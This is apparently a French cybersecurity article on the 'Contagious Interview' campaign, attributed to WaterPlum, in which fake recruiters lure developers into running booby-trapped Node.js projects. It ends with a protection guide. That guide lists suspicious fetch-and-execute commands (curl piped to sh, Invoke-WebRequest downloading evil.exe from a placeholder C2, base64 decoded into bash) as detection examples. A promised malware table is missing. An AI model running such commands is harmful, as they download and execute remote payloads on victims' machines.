Campagne Contagious Interview attribuée à WaterPlum : analyse, impact et guide de protection

Un entretien d’embauche peut désormais transformer un ordinateur professionnel en une passerelle vers le vol de données et de crypto-monnaies. Selon un avis conjoint publié le 18 septembre 2026 par les autorités du Japon, des États-Unis, d’Australie et d’Allemagne, la campagne de cyberattaque baptisée Contagious Interview est officiellement attribuée au groupe nord-coréen WaterPlum. Les chiffres sont éloquents : plus de 30 000 postes de travail infectés dans plus d’une centaine de pays, et un butin s’élevant à environ 1,7 milliard de yens (près de 11 millions de dollars américains) en crypto-monnaies volées. Le mode opératoire est redoutable : les opérateurs se font passer pour des recruteurs d’entreprises d’IA, de blockchain ou de NFTs et piègent les développeurs lors d’un entretien technique. Comprendre les rouages de cette campagne Contagious Interview de WaterPlum est essentiel pour toute entreprise française employant des talents IT. Cet article détaille l’attribution, l’arsenal utilisé et propose un guide de protection concret destiné aux équipes techniques et aux directions des ressources humaines.

Contexte et attribution de la campagne Contagious Interview à WaterPlum

Un avis conjoint de quatre nations

L’attribution coordonnée par le Japon, les États-Unis, l’Australie et l’Allemagne confère un poids politique et stratégique considérable à cette menace. L’avis officiel, co-signé par la National Police Agency japonaise, le FBI (via le Cyber Crime Center du Département de la Défense américain), l’Australian Cyber Security Centre (ACSC) ainsi que les services de renseignement allemands BND et BfV, identifie formellement le groupe WaterPlum comme l’auteur de la campagne Contagious Interview. Ce document place WaterPlum sous la tutelle du 313e Bureau Général du Département de l’Industrie de Munitions de la Corée du Nord. Ce rattachement officiel signifie que le vol de propriété intellectuelle et de crypto-monnaies via cette campagne n’est pas considéré comme de la cybercriminalité ordinaire, mais comme une opération de financement d’État, directement liée au contournement des sanctions internationales.

WaterPlum : un Advanced Persistent Threat (APT) parrainé par Pyongyang

WaterPlum, parfois associé aux clusters Lazarus ou APT37 (Silverlight), est un groupe directement parrainé par l’État nord-coréen. Les agences soulignent qu’il opère depuis plusieurs bases réparties en Corée du Nord, en Chine, en Russie et en Asie du Sud-Est. Les opérateurs utilisent massivement des identités volées et des serveurs VPN pour masquer leurs localisations réelles. « Les entreprises françaises, même les plus petites, sont des cibles potentielles », car la valeur réelle pour l’attaquant réside dans l’accès au réseau de l’entreprise et à la propriété intellectuelle développée par la cible. Cette capacité à opérer à l’échelle mondiale tout en conservant un haut niveau de discrétion est la marque d’un Advanced Persistent Threat parrainé par un État.

Mode opératoire : l’arnaque à l’embauche technique

Ciblage très précis des talents IT

Ce qui rend Contagious Interview particulièrement insidieuse est son vecteur d’attaque : une fausse offre d’emploi. Les opérateurs excellent en ingénierie sociale. Ils usurpent l’identité de recruteurs pour des entreprises d’intelligence artificielle, de blockchain ou de NFTs, et approchent leurs cibles via les réseaux sociaux professionnels (LinkedIn), les plateformes de freelance (Malt, Upwork, Fiverr) et les forums de développeurs.

« L’objectif est d’infiltrer les réseaux informatiques de chercheurs d’emploi peu méfiants, de recueillir des informations sensibles et de voler des crypto-monnaies. » - Extrait de l’avis conjoint des autorités (Septembre 2026).

Le piège de l’entretien technique

Le moment critique est l’entretien technique. Le candidat reçoit un test de codage ou un problème de debugging. Il est invité à cloner un dépôt GitHub ou Bitbucket et à exécuter le projet en local. Ce projet, généralement une application Node.js anodine, contient un paquet npm piégé. Une fois le code exécuté, le malware établit une communication avec le serveur de commande et contrôle (C2) et commence à siphonner les données du poste de travail.

Dans la pratique, nous avons observé que la simple inspection du fichier .vscode/tasks.json avant exécution est une mesure très peu coûteuse et extrêmement efficace. Elle permet de repérer les commandes suspectes avant qu’elles ne soient lancées. Les opérateurs de WaterPlum exploitent la confiance inhérente au processus de recrutement pour court-circuiter les défenses techniques des développeurs.

Arsenal technique : les cinq familles de malwares identifiées

Le tableau ci-dessous résume les cinq familles de malwares utilisées dans la campagne Contagious Interview :

Chacun de ces outils a un rôle spécifique dans la chaîne d’attaque. BeaverTail et InvisibleFerret sont souvent les premières charges utiles délivrées, tandis qu’OtterCookie et StoatWaffle permettent un contrôle persistant de la machine infectée. Ces malwares sont capables de capturer les identifiants des gestionnaires de mots de passe, les cookies de session, les clés SSH, les clés privées des portefeuilles de crypto-monnaies, ainsi que les phrases de récupération (seed phrases). Les équipes SOC françaises doivent surveiller les exécutions inhabituelles de Node.js et les appels à des domaines suspects via curl ou Invoke-WebRequest.

Impact chiffré et infrastructures logistiques de WaterPlum

Un bilan sans précédent

La phase la plus intense de la campagne s’est déroulée entre décembre 2025 et juillet 2026. Durant cette période, les autorités japonaises ont enregistré environ 7 000 cas de portefeuilles de crypto-monnaies compromis. Au total, ce sont plus de 30 000 ordinateurs dans plus de 100 pays qui ont été infectés, générant un butin d’environ 1,7 milliard de yens (soit environ 10,7 millions de dollars américains). Selon les analystes de la société Chainalysis, les groupes nord-coréens ont volé plus de 1,7 milliard de dollars de crypto-actifs en 2025, et cette campagne s’inscrit dans cette stratégie globale de contournement des sanctions.

Le rôle des fermes à laptops

L’avis conjoint apporte un éclairage troublant sur l’infrastructure logistique. Pour simuler une présence légitime dans un pays, les opérateurs utilisent des « fermes à laptops » installées chez des complices. Ces fermes fournissent des adresses IP locales plausibles pour les fausses identités de travailleurs. Les enquêteurs japonais ont démantelé l’une de ces fermes, remontant une traînée de plusieurs centaines de millions de yens transférés à l’étranger.

L’extorsion post-infiltration

Un aspect moins connu mais tout aussi dangereux est l’extorsion pratiquée par WaterPlum. Lorsque les relations avec l’employeur infiltré se tendent (non-paiement, conflit), les opérateurs n’hésitent pas à publier le code source volé ou à défigurer les sites web de l’entreprise. Cette transformation d’une simple infiltration en une menace de ransomware et d’atteinte à la réputation ajoute une pression financière et opérationnelle supplémentaire sur les victimes.

Guide de protection pour les entreprises et les développeurs

La prévention contre Contagious Interview passe par une combinaison de bonnes pratiques techniques et de procédures RH robustes.

Recommandations pour les développeurs et candidats

1. Isolez l’exécution du code : utilisez systématiquement une machine virtuelle jetable (VM) ou un environnement Docker dédié pour exécuter le code des tests techniques. Ne travaillez jamais sur votre poste de production.
2. Activez le Mode restreint de Visual Studio Code : ouvrez les projets inconnus dans ce mode et inspectez minutieusement le fichier .vscode/tasks.json avant toute exécution.
3. Méfiez-vous des commandes spécifiques : soyez particulièrement vigilant si l’exercice contient des commandes d’obfuscation ou de téléchargement.

Liste des commandes suspectes à repérer dans les scripts :

curl -fsSL http://[IP_MALVEILLANTE] | sh
Invoke-WebRequest -Uri http://[C2] -OutFile evil.exe
mshta javascript:...
base64 -d <<< [CHAINE_LONGUE] | bash

4. Analysez les dépendances : examinez le fichier package.json. Les paquets suspects utilisent souvent du typosquatting (noms imitant des bibliothèques légitimes) ou proviennent de comptes GitHub récents.

Recommandations pour les employeurs et les RSSI

1. Vérifiez l’identité : un recrutement à distance doit inclure une vérification d’identité via un document officiel ou un processus KYC (Know Your Customer).
2. Vérifiez la cohérence géographique : l’adresse IP du candidat correspond-elle à son fuseau horaire et à son lieu de vie déclaré ?
3. Détectez les deepfakes : soyez attentifs aux problèmes de synchronisation labiale, aux gelés vidéo fréquents et à la qualité audio anormale. Certains opérateurs utilisent des logiciels de maquillage vidéo en temps réel.
4. Appliquez le principe de Zero Trust : un développeur externe n’a pas besoin d’accéder à l’intégralité du code source ni aux clés de production.

Risques de conformité pour les entreprises françaises

Le paysage réglementaire ajoute une couche de complexité. Si votre entreprise embauche un freelance qui se révèle être un opérateur nord-coréen, vous risquez de violer les sanctions internationales. Le département d’État américain a émis une alerte à ce sujet, et le ministère de la Justice américain poursuit activement les facilitateurs. En Europe, la vigilance est de mise. Il est impératif d’intégrer des clauses contractuelles exigeant la vérification de l’identité et des antécédents dans vos contrats de prestation de service.

« Les entreprises qui paient sans le savoir un contractant nord-coréen s’exposent à des sanctions financières lourdes. La conformité ne se joue plus uniquement sur les données, mais aussi sur la vérification de l’identité des partenaires. »

L’ANSSI, dans ses guides de bonnes pratiques, insiste sur la nécessité de sécuriser la chaîne d’approvisionnement logicielle et humaine. La France et ses partenaires européens suivent ce dossier de près.

Conclusion : une menace structurée qui exige une vigilance collective

La campagne Contagious Interview attribuée à WaterPlum représente un tournant dans le cyberespionnage économique. En ciblant les développeurs via le processus de recrutement, les opérateurs exploitent une faille de confiance fondamentale dans notre économie numérique. Les 30 000 machines infectées, les 11 millions de dollars volés et les 5 familles de malwares ne sont que la partie émergée de l’iceberg. La France, avec son écosystème IT dynamique et ses nombreuses startups deeptech, doit intégrer cette menace comme un risque opérationnel majeur.

La protection ne peut être que holistique : elle allie la sensibilisation des développeurs (première ligne de défense), l’adoption d’outils d’analyse de code sécurisés, et la mise en place de processus RH rigoureux. La campagne Contagious Interview de WaterPlum nous rappelle que les cybercriminels utilisent les soft skills et la psychologie humaine pour contourner les défenses techniques les plus avancées. Restez informés via les bulletins de l’ANSSI et de vos CERT nationaux, et appliquez le principe de précaution absolu lorsque vous exécutez du code provenant d’un inconnu.